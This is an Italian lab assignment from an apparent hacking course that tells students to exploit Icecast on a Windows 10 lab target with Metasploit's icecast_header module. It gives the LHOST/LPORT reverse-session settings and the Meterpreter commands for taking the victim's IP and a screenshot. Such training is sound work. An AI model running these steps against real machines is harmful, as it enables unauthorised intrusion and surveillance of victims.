Consegna S7-L4

Consegna: Hacking Windows

⚜️ **Tag:** #hacking #windows #metasploit #meterpreter

Traccia

Oggi viene richiesto di ottenere una sessione di Meterpreter sul target **Windows 10** con **Metasploit**. Una volta ottenuta la sessione, si dovrà:

1. **Vedere l'indirizzo IP della vittima.**
2. **Recuperare uno screenshot tramite la sessione Meterpreter.**

Il programma da exploitare sarà **Icecast**, già presente nella ISO.

Istruzioni

1. **Avviare Metasploit Framework (msfconsole):**
   - Lanciare il comando `msfconsole` per accedere a Metasploit.
2. **Configurare l'exploit per Icecast:**
   - Utilizzare l'exploit: `exploit/windows/http/icecast_header`.
   - Configurare i parametri:
     - `RHOST`: IP del target.
     - `LHOST`: IP della tua macchina Kali.
     - `LPORT`: Porta di ascolto (esempio: 4444).
3. **Eseguire l'exploit:**
   - Eseguire `run` o `exploit` per avviare l'attacco.
4. **Interagire con la sessione Meterpreter:**
   - Usare il comando `sysinfo` per verificare la connessione.
   - Usare `ipconfig` per ottenere l'indirizzo IP della vittima.
   - Usare `screenshot` per catturare uno screenshot.

Output Atteso

- **Indirizzo IP della vittima** recuperato tramite il comando `ipconfig`.
- **Screenshot** salvato localmente nella directory corrente.

🔑 **Chiavi:**
[hacking, windows, metasploit, meterpreter]